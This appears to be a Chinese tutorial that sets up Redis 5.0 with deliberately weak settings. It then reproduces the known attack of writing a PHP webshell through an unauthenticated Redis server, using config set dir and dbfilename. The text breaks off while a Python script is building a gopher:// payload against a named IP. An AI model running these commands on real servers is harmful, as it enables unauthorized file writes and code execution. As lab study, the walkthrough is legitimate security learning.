Bootstrap

Redis系列漏洞总结

Redis系列漏洞总结

环境:ubuntu16.04,redis5.0.1

redis下载及安装

  • 下载

    wget http://download.redis.io/releases/redis-5.0.0.tar.gz

  • 解压

    sudo tar xzvf redis-5.0.0.tar.gz

  • 创建文件夹

    mkdir /usr/local/redis5

    mkdir /etc/redis5

  • 移动文件

    cp -r redis-5.0.0/* /usr/local/redis5/

  • 进入安装目录进行安装

    ls /usr/local/redis5/
    
    cd  /usr/local/redis5
    
    sudo make
    
    cd /usr/local/redis5/src/
    sudo make test  //如果安装报错,更新tcl:sudo  apt install tcl8.6,再重新运行
    sudo make install //安装
    
    
  • 查看编译好的命令文件

    ls /usr/local/bin/redis-*

    --/usr/local/bin/redis-benchmark     性能测试工具
    --/usr/local/bin/redis-check-aof     更新日志检查
    --/usr/local/bin/redis-check-dump    本地数据文件检查
    --/usr/local/bin/redis-cli           命令行操作工具
    --/usr/local/bin/redis-server        服务器程序
    
  • 修改配置文件

    cd /usr/local/redis5

    cp redis.conf /etc/redis5/

    vim /etc/redis5/redis.conf

    bind 0.0.0.0(允许登陆redis服务的ip,默认是127.0.0.1(设置为127.0.0.1的话就相当于redis服务只能本机进行登,如果设置成 0.0.0.0 就相当于将redis暴露在公网中,公网中的机器都可以进行登陆)
    protected-mode no (如果开启则会禁止公网访问redis)
    daemonize yes//改为后台运行
    
    
  • 启动

    cd /usr/local/redis5

    redis-server /etc/redis5/redis.conf

  • 关闭

    redis-cli shutdown
    redis-cli -p 6379 shutdown
    redis-cli -h 192.168.9.206 -p 6379 shutdown

    (根据情况选择关闭服务器命令)

redis 漏洞利用方式

0x01 绝对路径写shell

  • 环境

    靶机ubtuntu16:118.31.47.97

    sudo apt install apache2
    sudo apt install php
    sudo apt install php-redis
    sudo apt-get install libapache2-mod-php
    sudo apt install php-curl
    

    攻击主机ubuntu16 本机

    服务器:redis5.0.0,apache,php

  • 利用条件

    能未授权或者能通过弱口令认证访问到Redis服务器

    root权限启动redis服务

    需要知道目标的web目录绝对路径

  • 漏洞复现

    使用客户端连接redis数据库,并测试手动写shell

    flushall
    set 1 '<?php phpinfo(); ?>'
    config set dir /var/www/html
    config set dbfilename phpinfo.php
    save
    

    在这里插入图片描述

    接下来使用gopher协议来将shell转换成RESP格式

    #!/usr/bin/env python
    # -*-coding:utf-8-*-
    
    import urllib
    protocol="gopher://"  # 使用的协议 
    ip="118.31.
;